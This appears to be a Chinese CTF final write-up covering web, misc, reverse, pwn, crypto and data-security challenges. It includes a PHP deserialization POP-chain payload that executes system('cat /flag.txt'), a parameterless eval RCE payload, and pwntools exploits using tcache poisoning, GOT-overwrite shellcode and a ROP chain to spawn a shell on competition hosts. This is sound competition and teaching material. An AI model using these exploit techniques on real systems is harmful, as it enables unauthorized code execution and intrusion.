第七届浙江省大学生网络与信息安全竞赛决赛WP
总榜第一,被队友带飞了,也算圆满最后一届的浙江省大学生竞赛了,非常感谢队友
我们,是冠军!!!

1 web
1.1 wucanrce
<?php
echo "get只接受code欧,flag在上一级目录<br>";
$filename = __FILE__;
highlight_file($filename);
if(isset($_GET['code'])){
    if (!preg_match('/session_id\(|readfile\(/i', $_GET['code']))
     {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['code'])) {
                @eval($_GET['code']);
            }
    }
    else{
        die("不让用session欧,readfile也不行");
    }
}
?>
无参rce
//查看上一级目录文件名
print_r(scandir(dirname(getcwd())));
//读取上级目录文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));1.2 unserialize
<?php
highlight_file(__FILE__);
error_reporting(0);
class AAA{
    public $aear;
    public $string;
    public function __construct($a){
        $this -> aear = $a;
    }
    function __destruct()
    {
        echo $this -> aear;
    }
    public function __toString()
    {
        $new = $this -> string;
        return $new();
    }
}
class BBB {
    private $pop;
    public function __construct($string) {
        $this -> pop = $string;
    }
    public function __get($value) {
        $var = $this -> $value;
        $var[$value]();
    }
}
class DDD{
    public $bag;
    public $magazine;
    public function __toString()
    {
        $length = @$this -> bag -> add();
        return $length;
    }
    public function __set($arg1,$arg2)
    {
        if($this -> magazine -> tower)
        {
            echo "really??";
        }
    }
}
class EEE{
    public $d=array();
    public $e;
    public $f;
    public function __get($arg1){
        $this->d[$this->e]=1;
        if ($this->d[]=1){
            echo 'nononononnnn!!!';
            }
        else{
            eval($this->f);
            }
    }
}
class FFF{
    protected $cookie;
    protected function delete() {
        return $this -> cookie;
    }
    public function __call($func, $args) {
        echo 'hahahhhh';
        call_user_func([$this, $func."haha"], $args);
    }
}
class GGG{
    public $green;
    public $book;
    public function __invoke(){
        if(md5(md5($this -> book)) == 666) {
            return $this -> green -> pen;
        }
    }
}
if(isset($_POST['UP'])) {
    unserialize($_POST['UP']);
}反序列化
调用路径:
AAA::__destruct-->AAA::__toString-->GGG::__invoke-->EEE::__get
其中到GGG的时候需要爆破一下md5
# -*- coding: utf-8 -*-
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.letters + string.digits
def cmp_md5(substr, stop_event, str_len, start=0, size=20):
    global CHARS
    while not stop_event.is_set():
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        md5 = hashlib.md5(rnds)
        md5 = hashlib.md5(md5.hexdigest())
        if md5.hexdigest()[start: start+str_len] == substr and md5.hexdigest()[3].isdigit()==False:
            print rnds
            stop_event.set()
if __name__ == '__main__':
    substr = sys.argv[1].strip()
    start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
    str_len = len(substr)
    cpus = multiprocessing.cpu_count()
    stop_event = multiprocessing.Event()
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr, stop_event, str_len, start_pos)) for i in range(cpus)]
    for p in processes:
        p.start()
    for p in processes:
        p.join()
EEE中的if用报错跳过即可
exp:
<?php
class GGG{
    public $green;
    public $book='g1xFqZRDDTyxafSIUSta';
}
class AAA{
    public $aear;
    public $string;
}
class EEE{
    public $d=1;
    public $e;
    public $f="system('cat /flag.txt');";
}
$a = new AAA();
$a->aear = new AAA();
$a->aear->string = new GGG();
$a->aear->string->green = new EEE();
echo urlencode(serialize($a));
//O%3A3%3A%22AAA%22%3A2%3A%7Bs%3A4%3A%22aear%22%3BO%3A3%3A%22AAA%22%3A2%3A%7Bs%3A4%3A%22aear%22%3BN%3Bs%3A6%3A%22string%22%3BO%3A3%3A%22GGG%22%3A2%3A%7Bs%3A5%3A%22green%22%3BO%3A3%3A%22EEE%22%3A3%3A%7Bs%3A1%3A%22d%22%3Bi%3A1%3Bs%3A1%3A%22e%22%3BN%3Bs%3A1%3A%22f%22%3Bs%3A24%3A%22system%28%27cat+%2Fflag.txt%27%29%3B%22%3B%7Ds%3A4%3A%22book%22%3Bs%3A20%3A%22g1xFqZRDDTyxafSIUSta%22%3B%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D

2 misc
2.1 FinalSign
附件是一个txt,存在snow特征,有大量的20,09

用得到的keyhelloworld去xor txt中的字符串
a=bytes.fromhex('2c243f2f3b3114345d0a0909333f06100143023b2c55020912')
key=b'helloworld'
e=[]
for i in range(0,len(a)):
    e.append(a[i]^key[i%len(key)])
print(bytes(e))
#b'DASCTF{F1nal_Sign1n_D0ne}'2.2 非黑即白
反转文件,得到一张gif
with open('非黑即白','rb') as f:
   with open('1.gif','wb') as g:
      g.write(f.read()[::-1])将纯黑色的帧转为0,其他的转为1,得到一个加密的zip
from PIL import Image
a=Image.open("1.gif")
n=0
data=""
e=[]
while True:
    try:
        a.seek(n)
        d=a.copy().convert('1').getdata()
        if (d[0]==0):
            data+='0'
        else:
            data+='1'
    except:
        break;
    if (len(data)==8):
        e.append(int(data,2))
        data=''
    n+=1
f=open("data.zip",'wb')
f.write(bytes(e))
f.close()identify查看帧间隔,发现前几帧的间隔不一致,提取出来转成字符串
root@lewiserii:~# identify -format "%s %T \n" 2.gif
0 118
1 106
2 69
3 74
4 48
5 98
6 83
7 117
8 77
9 79
10 86
11 65
12 90
13 103
14 101a=[118,106,69,74,48,98,83,117,77,79,86,65,90,103,101]
print(bytes(a))
#b'vjEJ0bSuMOVAZge'解压得到flag DASCTF{H3r3_1s_C0L0rful_W0rld}
2.3 天命人
按照黑猴的章节名排序
火照黑云
风起黄昏
夜生白露
曲度紫鸳
日落红尘
未竟发现按照顺序取一个字节是50 4b 03 04 00 0a
python提取出来
file_list = ['火照黑云', '风起黄昏', '夜生白露', '曲度紫鸳', '日落红尘', '未竟']
sources = [open(file_name, 'rb') for file_name in file_list]
n = 0
with open('1.zip', 'wb') as target:
    while n < 0x5ead4:
        bytes_read = [source.read(1) for source in sources]
        for byte in bytes_read:
            if byte:
                target.write(byte)
        n += 17-zip打开可以看到另一个zip

其中 根器.zip 很明显进行crc32爆破

C:\Users\lewiserii\Desktop\脚本\crc32碰撞\压缩包crc32爆破>python crc32.py reverse 0x76899D01
4 bytes: C0M3 {0x43, 0x30, 0x4d, 0x33}
verification checksum: 0x76899d01 (OK)
C:\Users\lewiserii\Desktop\脚本\crc32碰撞\压缩包crc32爆破>python crc32.py reverse 0x8E036AA6
4 bytes: _4ND {0x5f, 0x34, 0x4e, 0x44}
verification checksum: 0x8e036aa6 (OK)
C:\Users\lewiserii\Desktop\脚本\crc32碰撞\压缩包crc32爆破>python crc32.py reverse 0x881D716A
4 bytes: _Get {0x5f, 0x47, 0x65, 0x74}
verification checksum: 0x881d716a (OK)
C:\Users\lewiserii\Desktop\脚本\crc32碰撞\压缩包crc32爆破>python crc32.py reverse 0x7F3D8E75
4 bytes: _S1X {0x5f, 0x53, 0x31, 0x58}
verification checksum: 0x7f3d8e75 (OK)
C:\Users\lewiserii\Desktop\脚本\crc32碰撞\压缩包crc32爆破>python crc32.py reverse 0x248D3C69
4 bytes: _R00 {0x5f, 0x52, 0x30, 0x30}
verification checksum: 0x248d3c69 (OK)
C:\Users\lewiserii\Desktop\脚本\crc32碰撞\压缩包crc32爆破>python crc32.py reverse 0xCB27D2BD
4 bytes: TS!! {0x54, 0x53, 0x21, 0x21}
verification checksum: 0xcb27d2bd (OK)得到密码C0M3_4ND_Get_S1X_R00TS!!,解密 未竟.zip
提取金箍棒.png上的像素点
from PIL import Image
a = Image.open("金箍棒.png")
x, y = 5, 5
x_, y_ = 0, 0
w, h = a.size
b = Image.new(a.mode, (w // 10, h // 10))
for x in range(5, w, 10):
    for y in range(5, h, 10):
        print(x, y, x_, y_)
        b.putpixel((x_, y_), a.getpixel((x, y)))
        y_ += 1
    x_ += 1
    y_ = 0
b.save('1.png')得到verapass1:jinggubang

用照片作为密钥文件同时使用密码挂载得到flag

DASCTF{T1m3_t0_F4Ce_De5t1nY}
3 reverse
3.1 Reverse2
upx 加密,但抹了特征,修改一下就行

然后用命令解密
upx -d Reverse2.exe打开就是 base64 换表

3.2 Reverse1
先使用标准rc4加密密钥 之后使用魔改的rc4加密明文
class rc4():
    def toBytes(self,data):
        if type(data)==str:
            return data.encode()
        elif type(data)==bytes:
            return data
        else:
            raise Exception("data Type Error")
    def GetKey(self,data):
        k=[]
        k1=[]
        data_l=len(data)
        for i in range(256):
            k.append(i)
            k1.append(data[i%data_l])
        n=0
        for i in range(256):
            n=(k1[i]+n+k[i])&0xff
            n1=k[i]
            k[i]=k[n]
            k[n]=n1
        return k
    def Cipher(self,data):
        data=self.toBytes(data)
        enc=[]
        k=self.Key.copy()
        n=0
        n1=0
        tmp=0
        for i in range(len(data)):
            n=(n+1)&0xff
            n1=(n1+k[n])&0xff
            tmp=k[n]
            k[n]=k[n1]
            k[n1]=tmp
            enc.append((data[i]+k[(k[n]+k[n1])%256])&0xff)
        return bytes(enc)
    def __init__(self,key):
        key=self.toBytes(key)
        self.Key=self.GetKey(key)
        self.__Key=key
    def SetKey(self,key):
        key=self.toBytes(key)
        self.Key=self.GetKey(key)
        self.__Key=key
k=bytes.fromhex("690d5ab240ea193f2f6a")
d=[0x4E, 0x47, 0x38, 0x47, 0x62, 0x0A, 0x79, 0x6A, 0x03, 0x66, 0xC0, 0x69, 0x8D, 0x1C, 0x84, 0x0F, 0x54, 0x4A, 0x3B, 0x08, 0xE3, 0x30, 0x4F, 0xB9, 0x6C, 0xAB, 0x36, 0x24, 0x52, 0x81, 0xCF]
r=rc4(bytes(k))
e=r.Cipher(bytes(d))
print(e)4 pwn
4.1 ezPwn
直接利用tcache bin在0x4180地址处创建chunk,并写入构造好的数据,就可以获取flag
from pwn import *
context.arch='amd64'
def add(size,data=b'\n'):
    p.sendlineafter(b'exit',b'1')
    p.sendlineafter(b"size>>",str(size).encode())
    p.sendafter("data>>",data)
def edit(ind,data):
    p.sendlineafter(b'exit',b'2')
    p.sendlineafter(b'index>>',str(ind).encode())
    p.sendafter("data>>",data)
def show(ind):
    p.sendlineafter(b'exit',b'3')
    p.sendlineafter(b'index>>',str(ind).encode())
    p.readuntil(b'data>>\n')
def free(ind):
    p.sendlineafter(b'exit',b'4')
    p.sendlineafter(b'index>>',str(ind).encode())
def exit():
    p.sendlineafter(b'exit',b'5')
def getflag():
    p.sendlineafter(b'exit',b'6')
def calc(data):
    mark=0xfff000000000
    data1=data&mark
    result=0
    result|=data1
    for i in range(3):
        data1=((data1>>12)^data)&(mark>>12)
        result|=data1
        mark=mark>>12
    return result
    pass
e=ELF("./pwn")
#p=process("./pwn")
p=remote('10.1.197.36',9999)
p.readuntil(b'gift:\n')
e.address=int(p.readline(),16)-0x1a44
#gdb.attach(p)
add(0x400)
add(0x400)
add(0x400)
free(0)
free(1)
free(2)
show(1)
d=u64(p.read(8))
print(hex(d))
d=calc(d)
print(hex(d))
_4180=e.address+0x4180
edit(1,p64(_4180^((d+0x410)>>12)))
add(0x400)
add(0x400)
add(0x400)
payload=p32(0xf0)*10
edit(5,payload)
p.sendline('6')
p.interactive()4.2 printFFF
题目允许写入0x15字节的shellcode,但是不够获取shell
所以利用exit的got表第二次写shellcode,并在第一次shellcode中设置一些环境
这样第二次shellcode就可以直接调用system("sh")来获取shell
from pwn import *
context.arch='amd64'
shellcode="""
mov edi,0x404800
mov eax,0x6873
mov [rdi],rax
pop rdi
sub rdi,0x6D
jmp rdi
"""
shellop=asm(shellcode)
print(hex(len(shellop)))
#exit()
e=ELF("./pwn")
#p=process("./pwn")
p=remote("10.1.197.38",9999)
#gdb.attach(p,'bp 0x4010E0')
p.send(shellop)
pause()
exit_=e.got['exit']
p.send(p64(0x405000)+p64(exit_)+p64(4))
p.interactive()
shellcode="""
mov edi,0x404800
mov rax,[0x404030]
sub rax,0xc3a60
jmp rax
"""
shellop=asm(shellcode)
print(hex(len(shellop)))
p.send(shellop)
pause()
exit_=e.got['exit']
p.send(p64(0x405000)+p64(exit_)+p64(4))
pause()
p.interactive()4.3 reverse_stack
在程序扩展栈空间的时候存在整数溢出,让下一个函数的栈在当前函数的前面,就可以实现修改程序流 通过修改程序流让程序第二次使用mmap创建第二个栈 这两个栈是连续的,这样在第一次调用函数时写入的栈地址就在程序栈的中间,就可以获取栈中的数据,比如libc_start_main的地址 之后就可以构造rop链获取shell
from pwn import *
#context.log_level='debug'
def l(size):
    p.sendafter('long?\n',p64(size&(0xffffffffffffffff)))
def d(data):
    p.sendafter('buf\n',data)
def pill(n):
    if n:
        p.sendafter('pill?\n',b'red'.ljust(8,b'\x00'))
    else:
        p.sendafter('pill?\n',b'blue'.ljust(8,b'\x00'))
p=remote("10.1.197.37",9999)
#p=process('./pwn')
e=ELF("./pwn")
#pause()
l(0x40)
d('asdfadsf')
pill(1)
l(0x400)
d(b'\x87')
pill(0)
l(0x58)
d('asdfasdf')
p.read(0x40)
d_=u64(p.read(8))
d_=u64(p.read(8))
print(hex(d_))
e.address=d_-0x1233
d_=u64(p.read(8))
print(hex(d_))
stack=d_&(-0x1000)
pill(1)
for i in range(10):
    l(0x400)
    d('asdfadsf')
    pill(1)
l(-0x400)
pill(1)
l(0x500)
payload=b'a'*0x3c8+p64(e.address+0x1050)+p64(stack+0x5000)
d(payload)
p.readuntil('pill?\n')
p.send(b'blue'.ljust(8,b'\x00'))
for i in range(0x102):
    l(0x1f0)
    d('asd')
    pill(1)
l(-0x400)
pill(1)
l(0x500)
payload=b'a'*0x3c8+p64(e.address+0x11CE)+p64(stack-0x78)
d(payload)
p.readuntil('pill?\n')
p.send(b'blue'.ljust(8,b'\x00'))
p.read(0x70)
d_=u64(p.read(8))
print(hex(d_))
real_stack=d_
pill(1)
l(-0x400)
pill(1)
l(0x1f0)
d('rotwill')
pill(1)
l(0x500)
payload=b'a'*(0x3c8-33*0x10)+p64(e.address+0x11ce)+p64(real_stack-0x4d0-8)
d(payload)
p.readuntil('pill?\n')
p.send(b'blue'.ljust(8,b'\x00'))
p.read(0x4d0)
d_=u64(p.read(8))
print(hex(d_))
pause()
pill(1)
#p.interactive()
libc=ELF("./libc.so.6")
libc.address=d_-0x29d90
gadget=libc.address+0xebc81
l(-0x400)
pill(1)
l(0x500)
system=libc.sym['system']
rdi=0x000000000002a3e5+libc.address
bin_sh=next(libc.search(b'/bin/sh\x00'))
ret=rdi+1
#gdb.attach(p,'bp $rebase(0x1228)\nc')
#pause()
payload=b'a'*(0x3c8)+p64(ret)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)+p64(stack+0x18000)
d(payload)
p.readuntil('pill?\n')
p.send(b''.ljust(8,b'\x00'))
p.interactive()5 数据安全
5.1 datasecurity_classify1
from string import ascii_letters
import os
phone_prefix = [
    734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,
    778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,
    756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,
    780, 781, 789, 790, 791, 793, 799
]
id_card_xishu = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
odd = "1 0 X 9 8 7 6 5 4 3 2".split(' ')
if os.path.exists('result.csv'):
    os.remove('result.csv')
with open('result.csv','+a') as result:
    result.write('类型,数据值\n');
    with open('data.csv','rb') as data:
        for line in data.readlines():
            line = line.decode().strip();
            if len(line) == 18:
                # id card
                qian_17 = line[:17]
                sums = 0;
                for i,e in enumerate(qian_17):
                    e = int(e) * id_card_xishu[i];
                    sums += e;
                if line[-1] != odd[sums % 11]:
                    continue;
                result.write('身份证号,'+line + '\n');
            elif len(line) == 11:
                for prefix in phone_prefix:
                    if line.startswith(str(prefix)):
                        result.write('手机号,'+line + '\n');
                        break;
            else:
                if '数据值' in line:
                    continue;
                # name
                sign = False;
                for i in ascii_letters:
                    if i in line:
                        sign = True;
                        break;
                if not sign:
                    result.write('姓名,'+line + '\n');5.2 datasecurity_classify2
先用tshark提取数据
tshark -r data.pcapng -T felds -Y "http.request.method==POST" -e data除了文档中的要求外注意处理ip的范围
def veryifyIdCard(idcard):
    if len(idcard) != 18:
        return False;
    idcardList.append(idcard)
    idcard = idcard.upper()
    id_card_xishu = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
    odd = "1 0 X 9 8 7 6 5 4 3 2".split(' ')
    sums = 0;
    qian_17 = idcard[:17]
    for i,e in enumerate(qian_17):
        e = int(e) * id_card_xishu[i];
        sums += e;
    return idcard[-1] == odd[sums % 11];
def verifyPhone(phone):
    phone_prefix = [
        734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778,
        782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, 756, 766,
        767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, 780, 781, 789,
        790, 791, 793, 799
    ]
    if len(phone) != 11 or phone[-1] == 'X':
        return False;
    for prefix in phone_prefix:
        if phone.startswith(str(prefix)):
            return True;
    return False;
def verifyIp(ip):
    for i in ip.split('.'):
        if int(i) > 255:
            return False;
    return True;
def cleanData(data):
    if '-' in data:
        data = ''.join(data.split('-'))
    elif ' ' in data:
        data = ''.join(data.split(' '))
    return data;
import re,os
ipMatch = re.compile(r'[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}');
phoneMatch = re.compile('(\d{11}|\d{3}\ \d{4}\ \d{4}|\d{3}\-\d{4}\-\d{4})');
idcardMatch = re.compile('(\d{18}|\d{6}\ \d{8}\ \d{4}|\d{6}\-\d{8}\-\d{4})');
idcardMatch_with_x = re.compile('(\d{17}X|\d{6}\ \d{8}\ \d{3}X|\d{6}\-\d{8}\-\d{3}X)');
idcardList = []
if os.path.exists('result2.csv'):
    os.remove('result2.csv')
with open('result2.csv','+a') as result:
    result.write('category,value\n');
    with open('data.dat', 'r') as data:
        data2 = bytes.fromhex(data.read()).decode();
        for line in data2.split(','):
            if idcardMatch.findall(line):
                for e in idcardMatch.findall(line):
                    e = cleanData(e);
                    if veryifyIdCard(e):
                        result.write('idcard,' + e + '\n');
            if idcardMatch_with_x.findall(line):
                for e in idcardMatch_with_x.findall(line):
                    e = cleanData(e);
                    if veryifyIdCard(e):
                        result.write('idcard,' + e + '\n');
            if phoneMatch.findall(line):
                for e in phoneMatch.findall(line):
                    e = cleanData(e);
                    sign = True;
                    for card in idcardList:
                        if e in card:
                            sign = False;
                            break;
                    if not sign:
                        continue;
                    if verifyPhone(e):
                        result.write('phone,' + e + '\n');
            if ipMatch.findall(line):
                for e in ipMatch.findall(line):
                    if verifyIp(e):
                        result.write('ip,' + e + '\n');
6 crypto
6.1 MyCode
根据加密内容生成key并爆破即可
import numpy as np
def substitute(state, sub_box):
    return [sub_box[b & 0xF] | (sub_box[(b >> 4) & 0xF] << 4) for b in state]
def generate_round_keys(base_key, rounds):
    round_keys = []
    temp_key = base_key
    for _ in range(rounds):
        round_keys.append(temp_key & 0xFFFFFFFF)
        temp_key ^= ((temp_key << 1) & 0xFFFFFFFF) | ((temp_key >> 31) & 0x1)
    return round_keys
def process_state(base_key, state, rounds, encrypt):
    sub_box = [0x9, 0x4, 0xA, 0xB, 0xD, 0x1, 0x8, 0x5, 0x6, 0x2, 0x0, 0x3, 0xC, 0xE, 0xF, 0x7]
    inv_sub_box = [0xA, 0x5, 0x9, 0xB, 0x1, 0x7, 0x8, 0xF, 0x6, 0x0, 0x2, 0x3, 0xC, 0x4, 0xD, 0xE]
    round_keys = generate_round_keys(base_key, rounds)
    if encrypt:
        for round in range(rounds):
            state = substitute(state, sub_box)
            state = [s ^ ((round_keys[round] >> (i * 8)) & 0xFF) for i, s in enumerate(state)]
    else:
        for round in range(rounds - 1, -1, -1):
            state = [s ^ ((round_keys[round] >> (i * 8)) & 0xFF) for i, s in enumerate(state)]
            state = substitute(state, inv_sub_box)
    return state
def encrypt(plaintext, key, rounds=10):
    length = len(plaintext)
    padded_length = length if length % 4 == 0 else length + (4 - (length % 4))
    plaintext += b'\x00' * (padded_length - length)
    ciphertext = bytearray(padded_length)
    for i in range(0, padded_length, 4):
        state = list(plaintext[i:i + 4])
        state = process_state(key, state, rounds, True)
        ciphertext[i:i + 4] = state
    return ciphertext
def decrypt(ciphertext, key, rounds=10):
    length = len(ciphertext)
    plaintext = bytearray(length)
    for i in range(0, length, 4):
        state = list(ciphertext[i:i + 4])
        state = process_state(key, state, rounds, False)
        plaintext[i:i + 4] = state
    return plaintext.rstrip(b'\x00')
def main():
    # plaintext = b"DASCTF{******}"
    # key = 0xECB... # 4 bytes
    # ciphertext = encrypt(plaintext, key)
    # print("Ciphertext:", ''.join(f"{b:02X}" for b in ciphertext))
    Ciphertext = 'A6B343D2C6BE1B268C3EA4744E3AA9914E29A0789F299022820299248C23D678442A902B4C24A8784A3EA401'
    Ciphertext = bytes.fromhex(Ciphertext)
    for i in range(0xFFFFF + 1):
        key = 0xecb00000 + i
        re = decrypt(Ciphertext, key)
        print(re)
        if b'DAS' in re:
            break
if __name__ == "__main__":
    main()
7 信创安全
7.1 OH
app会在点击事件中对输入进行加密,将加密之后的数据与/aPR+E8wS9+XbFMUfm8NacHpP190pf5xaR8+MIm/8gw=进行比较

程序加密的调用流程为encrypt->encryptX->encryptY->encodeX->encodeY



分析初始化函数发现,加密使用的密钥相同,为DASCTF2024-OHAPP,encryptX为aes-128|ecb加密,encryptY为aes-128|cbc加密
分析encryptY,发现疑似使用encryptX的结果作为cbc的iv 程序将明文从中间分为两个十六位字符串,前十六位进行encryptX加密,后十六位进行encryptY加密



8 签到
8.1 网安知识大挑战-FINAL
简单的问题,直接做了
DBCCCCBCDB
根据提示用Triple DES解密得到flag
